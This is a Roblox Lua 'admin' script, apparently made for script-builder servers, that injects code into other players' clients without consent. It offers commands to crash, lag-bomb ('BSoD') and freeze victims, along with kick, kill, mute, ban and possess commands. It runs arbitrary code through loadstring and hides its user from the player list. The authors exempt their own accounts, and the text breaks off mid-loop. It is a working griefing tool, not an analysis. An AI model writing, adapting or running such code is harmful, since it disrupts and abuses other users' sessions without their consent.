Solar Admin

wait()
script.Name = "Solar admin"
do
if script:findFirstChild("DSource") ~= nil then
SourceName = "DSource"
elseif script:findFirstChild("Source") ~= nil then
SourceName = "Source"
elseif script:findFirstChild("source") ~= nil then
SourceName = "source"
else
SourceName = "No_Source"
end
end
if SourceName ~= "No_Source" then
print("Source found: "..SourceName)
elseif SourceName == "No_Source" then
error("Source not found, script did not load all features")
end
script:ClearAllChildren()
game.Lighting:ClearAllChildren()
wait()
--[[VARIABLES, BOOLEANS AND TABLES]]--
LocalPlayer = game:GetService("Players").LocalPlayer
runService = game:service'RunService'
LSource = script:Clone()
char = nil
key = nil
Mouse = LocalPlayer:GetMouse()
SunMesh = "http://www.roblox.com/asset/?id=1185246"
SunTexture = "http://www.roblox.com/asset/?id=20261287"
ChatColor = "Institutional white"
Code = "SA: "..game.PlaceId
Key = "/"
SunScale = Vector3.new(3,3,3)
HiddenTablets = false
TabModelDebounce = false
DismissTabOn = false
ChatGui = true
LBlock = true
found = false
NilBoot = false
appearTime = 3
Rotation = 0
Speed = 0.0001
Tabs = {}
Cmds = {}
Banlist = {}
HardBanlist = {"ninevolt781","cappertron20","GOLDC3PO","rabbidog","NoobsAttacks","manofthebase44"}
MuteWords = {}
BadWords = {}
Services = {
game;
game:service'Workspace';
game:service'Players';
game:service'Lighting';
game:service'StarterGui';
game:service'StarterPack';
game:service'Debris';
};
--[[START]]--
if LocalPlayer.Character ~= nil then
LocalPlayer.Character.Archivable = true
Char = LocalPlayer.Character:Clone()
end
if NilBoot == true then
LocalPlayer.Parent = nil
ChatGui = true
appear(CFrame.new(0,25,0))
local a = Char:Clone()
a.Parent = workspace
a.Torso.CFrame = CFrame.new(0,25,0)
LocalPlayer.Character = a
workspace.CurrentCamera.CameraType = "Custom"
workspace.CurrentCamera.CameraSubject = a.Humanoid
wait(5)
SmoothMovement()
end
MuteWords[#MuteWords+1] = LocalPlayer.Name..":Kick()"
MuteWords[#MuteWords+1] = LocalPlayer.Name..":Destroy()"
MuteWords[#MuteWords+1] = LocalPlayer.Name..":remove()"
MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Kick()'
MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Kick()"
MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Destroy()'
MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Destory()"
MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:remove()'
MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:remove()"
MuteWords[#MuteWords+1] = "'Players':ClearAllChildren()"
MuteWords[#MuteWords+1] = '"Players":ClearAllChildren()'
MuteWords[#MuteWords+1] = "Players:ClearAllChildren()"--alek SD the server or kick manof
for i = 1,#LocalPlayer.Name,1 do
MuteWords[#MuteWords+1] = "kick/"..LocalPlayer.Name:sub(1,i)
end
for i = 1,#LocalPlayer.Name,1 do
MuteWords[#MuteWords+1] = "kick;"..LocalPlayer.Name:sub(1,i)
end
for i = 1,#LocalPlayer.Name,1 do
MuteWords[#MuteWords+1] = "kick:"..LocalPlayer.Name:sub(1,i)
end
for i = 1,#LocalPlayer.Name,1 do
MuteWords[#MuteWords+1] = "kick "..LocalPlayer.Name:sub(1,i)
end
for i = 1,#LocalPlayer.Name,1 do
MuteWords[#MuteWords+1] = ":kick "..LocalPlayer.Name:sub(1,i)
end
for i = 1,#LocalPlayer.Name,1 do
MuteWords[#MuteWords+1] = "/kick/"..LocalPlayer.Name:sub(1,i)
end
for i = 1,#LocalPlayer.Name,1 do
MuteWords[#MuteWords+1] = "kick`"..LocalPlayer.Name:sub(1,i)
end
wait()
--[[TABMODEL]]--
local TabModel = Instance.new("Model")
TabModel.Name = "Solar tabs"
if HiddenTablets == true then
TabModel.Parent = workspace.CurrentCamera
TabModelParent = workspace.CurrentCamera
elseif HiddenTablets == false then
TabModel.Parent = workspace
TabModelParent = workspace
end
--[[PARENTING]]--
script.Parent = _SOLAR_
wait()
--[[FUNCTIONS]]--
function Output(Text,Color,OnClicked)
if TabModel.Parent ~= TabModelParent then return end
if TabModel == nil then return end
if Color == nil then Color = "Institutional white" end
if Text == nil then Text = "" end
local Text = tostring(Text)
Text = Text:gsub("","\5")
local Part = Instance.new("Part", TabModel)
Part.CanCollide = false
Part.Anchored = true
Part.Locked = true
Part.Shape = "Ball"
Part.Size = Vector3.new(3,3,3)
Part.Name = "TABLET: "..math.random(-99999,99999)
if LocalPlayer ~= nil and LocalPlayer.Character ~= nil and LocalPlayer.Character.Torso ~= nil then
Part.CFrame = LocalPlayer.Character.Torso.CFrame
else
Part.CFrame = CFrame.new(0,0,0)
end
local Mesh = Instance.new("SpecialMesh", Part)
Mesh.MeshId = SunMesh
Mesh.TextureId = SunTexture
Mesh.Scale = SunScale
local PointLight = Instance.new("PointLight", Part)
PointLight.Color = BrickColor.new("New Yeller").Color
PointLight.Range = 10
local BillboardGui = Instance.new("BillboardGui", Part)
BillboardGui.Size = UDim2.new(8,0,7,0)
BillboardGui.StudsOffset = Vector3.new(0,2,0)
local TextLabel = Instance.new("TextLabel", BillboardGui)
TextLabel.Text = Text
TextLabel.Size = UDim2.new(1,0,1,0)
TextLabel.BackgroundTransparency = 1
TextLabel.TextColor = BrickColor.new(Color)
TextLabel.Font = "ArialBold"
TextLabel.FontSize = "Size24"
TextLabel.TextStrokeTransparency = 0
local ClickDetector = Instance.new("ClickDetector", Part)
Tabs[#Tabs+1] = Part
ClickDetector.MaxActivationDistance = math.huge
ClickDetector.MouseHoverEnter:connect(function(Player)
if Player.Name == LocalPlayer.Name then
Part.Transparency = 0.5
end
end)
ClickDetector.MouseHoverLeave:connect(function(Player)
if Player.Name == LocalPlayer.Name then
Part.Transparency = 0
end
end)
ClickDetector.MouseClick:connect(function(Player)
if Player.Name == LocalPlayer.Name then
coroutine.wrap(function()
for i = 0,180,10 do
TextLabel.Rotation = i
wait()
end
end)()
coroutine.wrap(function()
for i = 0,1,0.1 do
Part.Transparency = i
wait()
end
wait()
Part:Destroy()
for i,v in pairs(Tabs) do
if v.Name == Part.Name then
table.remove(Tabs,i)
end
end
if OnClicked ~= nil then
OnClicked()
end
end)()
end
end)
if #Tabs > 0 then DismissTab() end
end
function Dismiss()
Tabs = {}
TabModel:ClearAllChildren()
DismissTabOn = false
end
function DismissTab()
if DismissTabOn == true then return end
DismissTabOn = true
Output("Dismiss","Really red", function() Dismiss() DismissTabOn = false end)
end
function Chat(Msg, Clr)
for _,v in pairs(Cmds) do
if #Msg >= #v["Say"]+#Key then
if Msg:lower():sub(1,#v["Say"]+#Key) == v["Say"]:lower()..Key:lower() then
return
end
end
end
if Msg:sub(1,2) == "/e" then return end
if Clr == nil then Clr = "Institutional white" end
if Msg == nil then Msg = "" end
if Msg:sub(1,1) == ";" then Clr = "Really red" Msg = Msg:sub(2) end
if Msg:sub(1,1) == "/" then Clr = "Really blue" Msg = Msg:sub(2) end
Msg = Msg:gsub("","\5")
if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Head then
if #LocalPlayer.Character.Head:children() > 15 then return end
for _,v in pairs(LocalPlayer.Character.Head:children()) do
if v.Name == "BG" then
coroutine.wrap(function()
for i = v.StudsOffset.y,v.StudsOffset.y+2,0.1 do
v.StudsOffset = Vector3.new(0,i,0)
wait()
end
wait(2)
if v:findFirstChild("TextLabel") ~= nil then
for i = 0,1,0.1 do
if v:findFirstChild("TextLabel") == nil then break end
v.TextLabel.TextTransparency = i
v.TextLabel.TextStrokeTransparency = i
wait()
end
end
v:Destroy()
end)()
end
end
if ChatGui == false then
return
elseif ChatGui == true then
local BG = Instance.new("BillboardGui", LocalPlayer.Character.Head)
BG.Name = "BG"
BG.Size = UDim2.new(8,0,7,0)
BG.StudsOffset = Vector3.new(0,2,0)
BG.SizeOffset = Vector2.new(0,.1)
local TL = Instance.new("TextLabel", BG)
TL.Text = Msg
TL.BackgroundTransparency = 1
TL.Size = UDim2.new(1,0,.8,0)
TL.Font = "Legacy"
TL.FontSize = "Size24"
TL.TextStrokeTransparency = 0
if Clr ~= "Random" then
TL.TextColor = BrickColor.new(Clr)
elseif Clr == "Random" then
TL.TextColor = BrickColor.random()
end
coroutine.wrap(function()
wait(5)
if TL ~= nil then
for i = 0,1,0.1 do
if TL == nil then break end
TL.TextTransparency = i
TL.TextStrokeTransparency = i
wait()
end
end
BG:Destroy()
end)()
end
end
end
function Notify(Msg)
Chat(Msg,"Really red")
end
function GetPlayers(msg)
local Plrs = {}
if msg == "me" then
table.insert(Plrs, LocalPlayer)
elseif msg == "all" then
Plrs = game:GetService("Players"):GetChildren() --GetPlayers()?
elseif msg == "noobs" then
for _,plr in pairs(game:GetService("Players"):GetChildren()) do
if plr.AccountAge < 364 then
table.insert(Plrs, plr)
end
end
elseif msg == "veterans" then
for _,plr in pairs(game:GetService("Players"):GetChildren()) do
if plr.AccountAge > 364 then
table.insert(Plrs, plr)
end
end
elseif msg == "others" then
for i,v in pairs(game:GetService("Players"):GetChildren()) do
if v ~= LocalPlayer then
table.insert(Plrs, v)
end
end
else
for i,v in pairs(game:GetService("Players"):GetChildren()) do
if v.Name:lower():sub(1,#msg) == msg:lower() then
table.insert(Plrs, v)
end
end
end
return Plrs
end
function Update(CF)
if TabModel.Parent ~= TabModelParent then return end
if TabModel == nil then return end
Rotation = Rotation + Speed
if TabModel.Parent ~= TabModelParent then return end
if TabModel == nil then return end
for i,v in pairs(Tabs) do
if TabModel.Parent ~= TabModelParent then break end
if TabModel == nil then break end
if v.Parent ~= nil then
if TabModel.Parent ~= TabModelParent then break end
if TabModel == nil then break end
if #Tabs < 201 then
if TabModel.Parent ~= TabModelParent then break end
if TabModel == nil then break end
local CP = v.Position:lerp(CF.p,0.15)
v.CFrame = CFrame.new(CP.X,CP.Y,CP.Z) *CFrame.Angles(0,math.rad(((360/#Tabs)*i)+Rotation),0)
*CFrame.new(0,0,#Tabs*0.15 +0.5)
else
if TabModel.Parent ~= TabModelParent then break end
if TabModel == nil then break end
v:Destroy()
end
if TabModel.Parent ~= TabModelParent then break end
if TabModel == nil then break end
end
end
end
function AddCmd(Name, Say, Desc, Func)
Cmds[#Cmds+1] = {["Name"] = Name, ["Say"] = Say, ["Desc"] = Desc, ["Func"] = Func}
end
function ShowCmds()
Dismiss()
for _,v in pairs(Cmds) do
Output(v["Name"],nil,
function()
Dismiss()
Output("Name: "..v["Name"])
Output("Usage: "..v["Say"])
Output("Description: "..v["Desc"])
Output("Back","Really red",function() ShowCmds() end)
end
)
end
end
function NewS(SourceValue, Parent)
if NewScript then
local scr = NewScript:Clone()
if scr:FindFirstChild(SourceName) then
if scr:FindFirstChild(SourceName) then
scr:FindFirstChild(SourceName).Value = SourceValue
scr.Parent = Parent
wait()
scr.Disabled = false
return scr
end
end
else
Output("No source","Really red")
end
end
function NewLS(SourceValue, Parent)
if SourceName == "No_Source" then return end
if game.PlaceId == 54194680 then
NLS(SourceValue, Parent)
else
local NS = LSource:Clone()
NS.Name = "NewLocal"
local Source = NS:findFirstChild(SourceName)
if Source == nil then
Instance.new('StringValue',NS).Name = SourceName
end
Source = NS:findFirstChild(SourceName)
Source.Value = SourceValue
NS.Parent = Parent
NS.Disabled = false
return NS
end
end
function ShowBL()
Dismiss()
for _,v in pairs(Banlist) do
Output(v,nil, function()
Dismiss()
Output(v)
Output("Un-Ban","Really red", function()
table.remove(Banlist, _)
end)
Output("Back","Really red", function()
ShowBL()
end)
end)
end
end
function ShowHBL()
Dismiss()
for _,v in pairs(HardBanlist) do
Output(v,nil, function()
Dismiss()
Output(v)
Output("Un-Ban","Really red", function()
table.remove(HardBanlist, _)
end)
Output("Back","Really red", function()
ShowBL()
end)
end)
end
end
function Connect(who)
if who and who.Backpack then
NewLS(ConnectSource, who.Backpack)
Output("Connected: "..who.Name)
end
end
function SmoothMovement()
if char ~= nil then char = nil end
wait()
if LocalPlayer.Character.Parent == nil then return end
if LocalPlayer.Character == nil then return end
char = LocalPlayer.Character
char.Torso.Anchored = true
Mouse.KeyDown:connect(function(kai)
if kai == "w" then
key = "w"
elseif kai == "s" then
key = "s"
elseif kai == "a" then
key = "a"
elseif kai == "d" then
key = "d"
end
end)
Mouse.KeyUp:connect(function(kai)
if kai == "w" then
key = nil
elseif kai == "s" then
key = nil
elseif kai == "a" then
key = nil
elseif kai == "d" then
key = nil
end
end)
while wait() do
if char == nil then break end
if key == "w" then
if char == nil then break end
char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,-0.5)
elseif key == "s" then
if char == nil then break end
char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,0.5)
elseif key == "a" then
if char == nil then break end
char.Torso.CFrame = char.Torso.CFrame * CFrame.new(-0.5,0,0)
char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,0.5,0)
elseif key == "d" then
if char == nil then break end
char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0.5,0,0)
char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,-0.5,0)
end
end
end
function Explore(part)
Dismiss()
if part == nil then
for _,v in pairs(Services) do
Output(v.Name,nil,function() Explore(v) end)
end
else
for _,v in pairs(part:children()) do
Output(v.Name,nil,function() Explore(v) end)
end
wait()
Output("Currently exploring: "..part.Name,"Really red")
Output("Class name: "..part.ClassName,"Really red")
Output("Destroy","Really red",function() part:Destroy() Explore(part.Parent) end)
Output("Remove","Really red",function() part:remove() Explore(part.Parent) end)
end
end
function appear(pos)
local parts = {}
local frames = appearTime / (1 / 30)
local t = 1
if pos == nil then pos = CFrame.new(0, 25, 0) end
for i=1,500 do
local p = Instance.new("Part", game.Workspace)
p.Anchored = true
p.CanCollide = false
p.formFactor = 3
p.Size = Vector3.new(1, 1, 1)
p.TopSurface = 0
p.BottomSurface = 0
p.BrickColor = BrickColor.random()
local x, y, z = math.random(-10, 10) / 100, math.random(-10, 10) / 100, math.random(-10, 10) / 100
p.CFrame = pos * CFrame.new(x * frames, y * frames, z * frames)
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
mesh.Scale = Vector3.new(0.9, 0.9, 0.9)
table.insert(parts, {p, CFrame.new(-x, -y, -z) * CFrame.Angles(x, y, z)})
end
for i=1,frames do
local _, duration = runService.Stepped:wait()
for i,v in pairs(parts) do
if v[1].Parent then
v[1].CFrame = v[1].CFrame * v[2]
v[1].Transparency = t
end
end
t = t - (appearTime / frames)
end
for i,v in pairs(parts) do
if v[1].Parent then
v[1]:remove()
end
end
end
--[[COMMANDS]]--
AddCmd("Ping","ping","Ping something",
function(nothing, msg)
Output(tostring(msg))
end
)
AddCmd("Commands","cmds","Show all commands",
function()
ShowCmds()
end
)
AddCmd("#Commands","#cmds","Show the number of commands",
function()
Output(tostring(#Cmds))
end
)
AddCmd("Dismiss","dt","Dismiss tabs",
function()
Dismiss()
end
)
AddCmd("Toggle tabs visibility","hid","Make the tabs visible/invisible",
function(nothing, msg)
if msg == "on" then
HiddenTablets = true
TabModel.Parent = workspace.CurrentCamera
TabModelParent = workspace.CurrentCamera
Output("Tabs are hidden","Really red")
elseif msg == "off" then
HiddenTablets = false
TabModel.Parent = workspace
TabModelParent = workspace
Output("Tabs are visible","Really red")
else
Output("Use on/off to toggle tab visibility","Really red")
end
end
)
AddCmd("Execute","exe","Execute",
function(nothing, msg)
a,b = ypcall(function()
loadstring(msg)()
end)
if not a then Output(b,"Really red") end
end
)
AddCmd("Toggle local block","tlb","Toggle local block on/off",
function(nothing, msg)
if msg == "on" then
LBlock = true
Output("Local block on","Really red")
elseif msg == "off" then
LBlock = false
Output("Local block off")
else
Output("Use on/off to toggle local block","Really red")
end
end
)
AddCmd("Kick","kick","Kick player",
function(Plrs)
for _, plr in pairs(Plrs) do
if plr then
NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
end
end
end
)
AddCmd("Banlist","bl","Show banned players",
function()
ShowBL()
end
)
AddCmd("Hard Banlist","hbl","Show hard banned players",
function()
ShowHBL()
end
)
AddCmd("Semi-Crash","scrash","Semi-crash a player",
function(Plrs)
for _,plr in pairs(Plrs) do
if plr and plr.Backpack then
NewLS("repeat until false",plr.Backpack)
end
end
end
)
AddCmd("Crash","crash","Crash a player (use nil to crash nil players)",
function(nothing, msg)
local a = Instance.new("StringValue", game.Lighting)
a.Name = "DISC: "..msg
game:service'Debris':AddItem(a, 3)
end
)
AddCmd("Mute","mute","Block player's chat",
function(Plrs)
for _, plr in pairs(Plrs) do
if plr and plr.Backpack then
NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", plr.Backpack)
end
end
end
)
AddCmd("Un-Mute","unmute","Un-Block player's chat",
function(Plrs)
for _, plr in pairs(Plrs) do
if plr and plr.Backpack then
NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, true)", plr.Backpack)
end
end
end
)
AddCmd("Clean","clean","Clean workspace",
function()
for _,v in pairs(workspace:children()) do
if v.Name ~= "Terrain" then
v:Destroy()
end
end
NewS("for _,v in pairs(game:service'Players':children()) do if v:IsA('Player') then v:LoadCharacter() end end", workspace)
local base = Instance.new("Part", workspace)
base.Anchored = true
base.Size = Vector3.new(1000,1.2,1000)
base.BrickColor = BrickColor.new("Dark green")
base.Material = "Grass"
end
)
AddCmd("Remove","cremove","Remove the script",
function()
for i = 0,50,1 do
pcall(function()
for j,k in pairs(getfenv(i)) do
getfenv(i)[j] = nil
end
end)
end
end
)
AddCmd("Script","c","Script something",
function(nothing, msg)
if found then
NewS(msg,workspace)
else
Output("No source","Really red")
end
end
)
AddCmd("Kill","kill","Kill player",
function(Plrs)
for _, plr in pairs(Plrs) do
if plr and plr.Character then
plr.Character:breakJoints''
end
end
end
)
AddCmd("NewLocal","newlocal","Inserts a new local in someones backpack",
function(Plrs, msg)
local KeyPos = msg:find(Key)
local TargPlrs = msg:sub(1,KeyPos-1)
local Plrs = GetPlayers(TargPlrs)
local Srce = msg:sub(KeyPos+1)
for _,plr in pairs(Plrs) do
if plr and plr.Backpack then
NewLS(Srce, plr.Backpack)
end
end
end
)
AddCmd("Ban","ban","Bans a player",
function(Plrs)
for _, plr in pairs(Plrs) do
if plr and plr.Backpack then
Banlist[#Banlist +1] = plr.Name
NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
end
end
end
)
AddCmd("Rejoin","rj","Rejoins a player",
function(Plrs)
for _,plr in pairs(Plrs) do
if plr and plr.Character then
if SourceName == "source" then
Output("This is Alakazards scriptbuilder. TPService is disabled here! Can't TP!","Really red")
end
if SourceName ~= "source" then
NewLS([[game:GetService('TeleportService'):Teleport(game.PlaceId)]],plr.Character)
end
end
end
end
)
AddCmd("Ban","ban","Bans a player",
function(Plrs)
for _, plr in pairs(Plrs) do
if plr and plr.Backpack then
Banlist[#Banlist+1] = plr.Name
end
end
end
)
AddCmd("Chat","chat","Turns chat on/off",
function(nothing, msg)
if msg == "on" then
ChatGui = true
elseif msg == "off" then
ChatGui = false
end
end
)
AddCmd("GetAge","ga","Get age of a player",
function(Plrs)
for _, plr in pairs(Plrs) do
if plr then
Output(plr.Name..": "..tostring(plr.AccountAge))
end
end
end)
AddCmd("Hint","h","Show some hint",
function(nothing, msg)
if found then
NewS([[
a = Instance.new("Hint", workspace)
msg = "]]..msg..[["
msg = msg:gsub("","\5")
game:service'Debris':AddItem(a, 5)
while wait() do
for i = 30,0,-1 do
a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
wait()
end
for i = 0,30,1 do
a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
wait()
end
end
]], workspace)
end
end
)
AddCmd("Message","m","Show a message",
function(nothing, msg)
if found then
NewS([[
a = Instance.new("Message", workspace)
msg = "]]..msg..[["
msg = msg:gsub("","\5")
game:service'Debris':AddItem(a, 5)
while wait() do
for i = 30,0,-1 do
a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
wait()
end
for i = 0,30,1 do
a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
wait()
end
end
]], workspace)
end
end
)
AddCmd("Char","char","Be a character",
function()
if LocalPlayer.Parent == game.Players then return end
if LocalPlayer.Character~= nil then
LocalPlayer.Character:Destroy()
end
char = nil
appear(CFrame.new(0,25,0))
local a = Char:Clone()
a.Parent = workspace
a.Torso.CFrame = CFrame.new(0,25,0)
LocalPlayer.Character = a
workspace.CurrentCamera.CameraType = "Custom"
workspace.CurrentCamera.CameraSubject = a.Humanoid
wait(5)
SmoothMovement()
end
)
AddCmd("Refresh 'nil smooth movement'","rnsm","Refresh the movement when you are nil",
function()
if LocalPlayer.Parent == nil then
char = nil
wait()
SmoothMovement()
else
Output("You are not nil.","Really red")
end
end
)
AddCmd("Go nil","gn","Go to nil player mode",
function()
LocalPlayer.Parent = nil
appear(CFrame.new(0,25,0))
local a = Char:Clone()
a.Torso.CFrame = CFrame.new(0,25,0)
a.Parent = workspace
LocalPlayer.Character = a
workspace.CurrentCamera.CameraType = "Custom"
workspace.CurrentCamera.CameraSubject = a.Humanoid
wait(5)
SmoothMovement()
end
)
AddCmd("Fix camera","fcam","Fix your camera",
function()
workspace.CurrentCamera.CameraType = "Custom"
workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
end
)
AddCmd("Nils","nilp","Get nil players",
function()
NewS([[
Model = Instance.new("Model", game.Lighting)
Model.Name = "SolarAdminNilPlayers"
for _,v in pairs(game:service'NetworkServer':children()) do
if v:GetPlayer() then
if v:GetPlayer().Parent ~= game:service'Players' then
Instance.new("StringValue",Model).Value = v:GetPlayer().Name
end
end
end
]], workspace)
wait()
np = nil
for i = 0,5,1 do
if game.Lighting:findFirstChild("SolarAdminNilPlayers") then
np = game.Lighting:findFirstChild("SolarAdminNilPlayers")
break
end
wait(0.1)
end
if np ~= nil then
Dismiss()
for _,v in pairs(np:children()) do
if v:IsA("StringValue") then
Output(v.Value,"Really red")
end
end
elseif np == nil then
Output("Something went wrong.","Really red")
end
end
)
AddCmd("Possess","ps","Possess a player",
function(Plrs)
for _, plr in pairs(Plrs) do
if plr and plr.Character then
LocalPlayer.Character = plr.Character
workspace.CurrentCamera.CameraType = "Custom"
workspace.CurrentCamera.CameraSubject = plr.Character.Humanoid
end
end
end
)
AddCmd("'Hard' ban","hb","Hard ban a player",
function(Plrs)
for _, plr in pairs(Plrs) do
if plr then
HardBanlist[#HardBanlist+1] = plr.Name
NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
for i = 0,10,1 do
Notify("Hard Banned "..plr.Name.."!")
end
end
end
end
)
AddCmd("Explore","explore","Explore the game",
function()
Explore()
end
)
AddCmd("Rejoin yourself","rej","Rejoin yourself even if you are nil",
function()
if SourceName ~= "source" then
game:service'TeleportService':Teleport(game.PlaceId)
else
Output("This is alakazard's sb, can't teleport here.","Really red")
end
end
)
AddCmd("BSoD","bsod","BSoD a player",
function(Plrs)
for _, plr in pairs(Plrs) do
if plr and plr.Backpack then
for i = 0,7,1 do
NewLS(BSoDSource, plr.Backpack)
end
end
end
end
)
--[[SOURCES]]--
LBlock1 = [[
LocalPlayer.descendantAdded:connect(function(what)
if what:IsA("Script") or what:IsA("LocalScript") then
if LBlock == false then return end
if what.Name == "Health" then return end
if what.Name == "HealthScript v3.1" then return end
if what.Name == "Animate" then return end
what.Disabled = true
wait()
what:Destroy()
end
end)
]]
LBlock2 = [[
LocalPlayer.Backpack.descendantAdded:connect(function(what)
if what:IsA("Script") or what:IsA("LocalScript") then
if LBlock == false then return end
if what.Name == "Health" then return end
if what.Name == "HealthScript v3.1" then return end
if what.Name == "Animate" then return end
what.Disabled = true
wait()
what:Destroy()
end
end)
]]
LBlock3 = [[
LocalPlayer.Character.descendantAdded:connect(function(what)
if what:IsA("Script") or what:IsA("LocalScript") then
if LBlock == false then return end
if what.Name == "Health" then return end
if what.Name == "HealthScript v3.1" then return end
if what.Name == "Animate" then return end
what.Disabled = true
wait()
what:Destroy()
end
end)
]]
ConnectSource = [[
script:ClearAllChildren()
wait()
script.Parent = nil
Player = game.Players.LocalPlayer
while wait(0.1) do
if game.Lighting:findFirstChild("DISC: nil") then
if Player.Parent == nil then
Delay(0, wait)
end
end
if game.Lighting:findFirstChild("DISC: "..Player.Name) then
Delay(0, wait)
end
end
]]
BSoDSource = [[
wait()
script.Parent = game:service'TeleportService'
CC = workspace.CurrentCamera
RS = game:service("RunService")
PG = game.Players.LocalPlayer.PlayerGui
C = game.Players.LocalPlayer.Character
function Lag()
coroutine.resume(coroutine.create(function()
while wait() do
M = Instance.new("Message",CC)
M.Text = tick()*math.floor(5%4*21)
H = Instance.new("Hint",CC)
H.Text = 'Get out from this place!'
SG=Instance.new("ScreenGui",PG)
FR=Instance.new("Frame",SG)
FR.Size = UDim2.new(500,500,500,500)
while wait() do
FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
end
P=Instance.new("Part",CC)
E=Instance.new("Explosion",P)
E.BlastRadius=math.huge
E.Position=P.Position
F=Instance.new("Fire",P)
S=Instance.new("Smoke",P)
P.CFrame = CC.Focus
P.Anchored = true
P.CanCollide = false
P.AncestryChanged:connect(function()Lag()end)
for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
end
end))
end
RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)
]]
--[[LOCAL BLOCK]]--
loadstring(LBlock1)()
loadstring(LBlock2)()
loadstring(LBlock3)()
LocalPlayer.CharacterAdded:connect(function()
loadstring(LBlock2)()
loadstring(LBlock3)()
end)
--[[CONNECTIONS]]--
LocalPlayer.Chatted:connect(function(m)
Chat(m,ChatColor)
for i,v in pairs(Cmds) do
if v["Say"]..Key == m:sub(1, #v["Say"]+#Key) then
v["Func"](GetPlayers(m:sub(#v["Say"]+#Key+1)), m:sub(#v["Say"]+#Key+1))
end
end
end)
for _,speaker in pairs(game:service'Players':GetPlayers()) do
if speaker.Name ~= LocalPlayer.Name then
if speaker.Name ~= "aleksa12432" then
if speaker.Name ~= "optiplex123" then
if speaker.Name ~= "Exorsizer" then
speaker.Chatted:connect(function(msg)
for _,v in pairs(MuteWords) do
if string.find(msg,v) then
if speaker and speaker.Backpack then
NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
end
end
end
for _,v in pairs(BadWords) do
if string.find(msg, v) then
if speaker and found == true then
NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
elseif speaker and found == false then
speaker:Destroy()
end
end
end
end)
end
end
end
end
end
game.Players.ChildAdded:connect(function(speaker)
if speaker:IsA("Player") then
if speaker.Name ~= LocalPlayer.Name then
if speaker.Name ~= "aleksa12432" then
if speaker.Name ~= "optiplex123" then
if speaker.Name ~= "Exorsizer" then
speaker.Chatted:connect(function(msg)
for _,v in pairs(MuteWords) do
if string.find(msg:lower(),v:lower()) then
if speaker and speaker.Backpack then
NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
end
end
end
for _,v in pairs(BadWords) do
if string.find(msg:lower(),v:lower()) then
if speaker and found == true then
NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
elseif speaker and found == false then
speaker:Destroy()
end
end
end
end)
end
end
end
end
end
end)
--[[START]]--
for i = 0,8,1 do
Output("")
end
Output("Welcome to Solar admin","Really red")
Output("This script is made by aleksa12432 and optiplex123","Really red")
if SourceName == "DSource" then
Output("You are on Anaminus SB","Really red")
elseif SourceName == "Source" then
Output("You are on Oxcool1 SB","Really red")
elseif SourceName == "source" then
Output("You are on qlqkqzqrd SB","Really red")
end
for _,v in pairs(game:service'Players':GetPlayers()) do
if v.Name ~= LocalPlayer.Name then
if v.Name ~= "aleksa12432" then
if v.Name ~= "optiplex123" then
if v.Name ~= "Exorsizer" then
Connect(v)
end
end
end
end
end
--[[LOOPS]]--
coroutine.wrap(function()
while wait(30) do
for _,v in pairs(game:service'Players':GetPlayers()) do
if v.Name ~= LocalPlayer.Name then
if v.Name ~= "aleksa12432" then
if v.Name ~= "optiplex123" then
if v.Name ~= "Exorsizer" then
if v.Backpack ~= nil then
NewLS(ConnectSource, v.Backpack)
end
end
end
end
end
end
end
end)()
game:service'Players'.ChildAdded:connect(function(player)
if player.Name ~= LocalPlayer.Name then
if player.Name ~= "aleksa12432" then
if player.Name ~= "optiplex123" then
if player.Name ~= "Exorsizer" then
wait(3)
Connect(player)
end
end
end
end
end)
game:GetService("RunService").RenderStepped:connect(function()
if TabModel.Parent ~= TabModelParent then return end
if TabModel == nil then return end
if LocalPlayer then
if LocalPlayer.Character then
if LocalPlayer.Character:findFirstChild("Torso") then
Rotation = Rotation + Speed
for i,v in pairs(Tabs) do
ypcall(function()
if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Torso then
pos = LocalPlayer.Character.Torso.CFrame
else
pos = CFrame.new(0,0,0)
end
radius = 4 + (#Tabs * 0.5)
x = math.sin((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
y = 0
z = math.cos((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
arot = Vector3.new(x, y, z) + pos.p
brot = v.CFrame.p
crot = (arot * .1 + brot * .9)
v.CFrame = CFrame.new(crot, pos.p)
end)
end
end
end
end
end)
game:service'RunService'.RenderStepped:connect(function()
if TabModelDebounce == true then return end
if TabModel.Parent ~= TabModelParent then
TabModelDebounce = true
Tabs = {}
TabModel = Instance.new("Model", TabModelParent)
TabModel.Name = "Solar tabs"
Tabs = {}
Rotation = 0
wait()
TabModelDebounce = false
end
end)
coroutine.wrap(function()
while wait() do
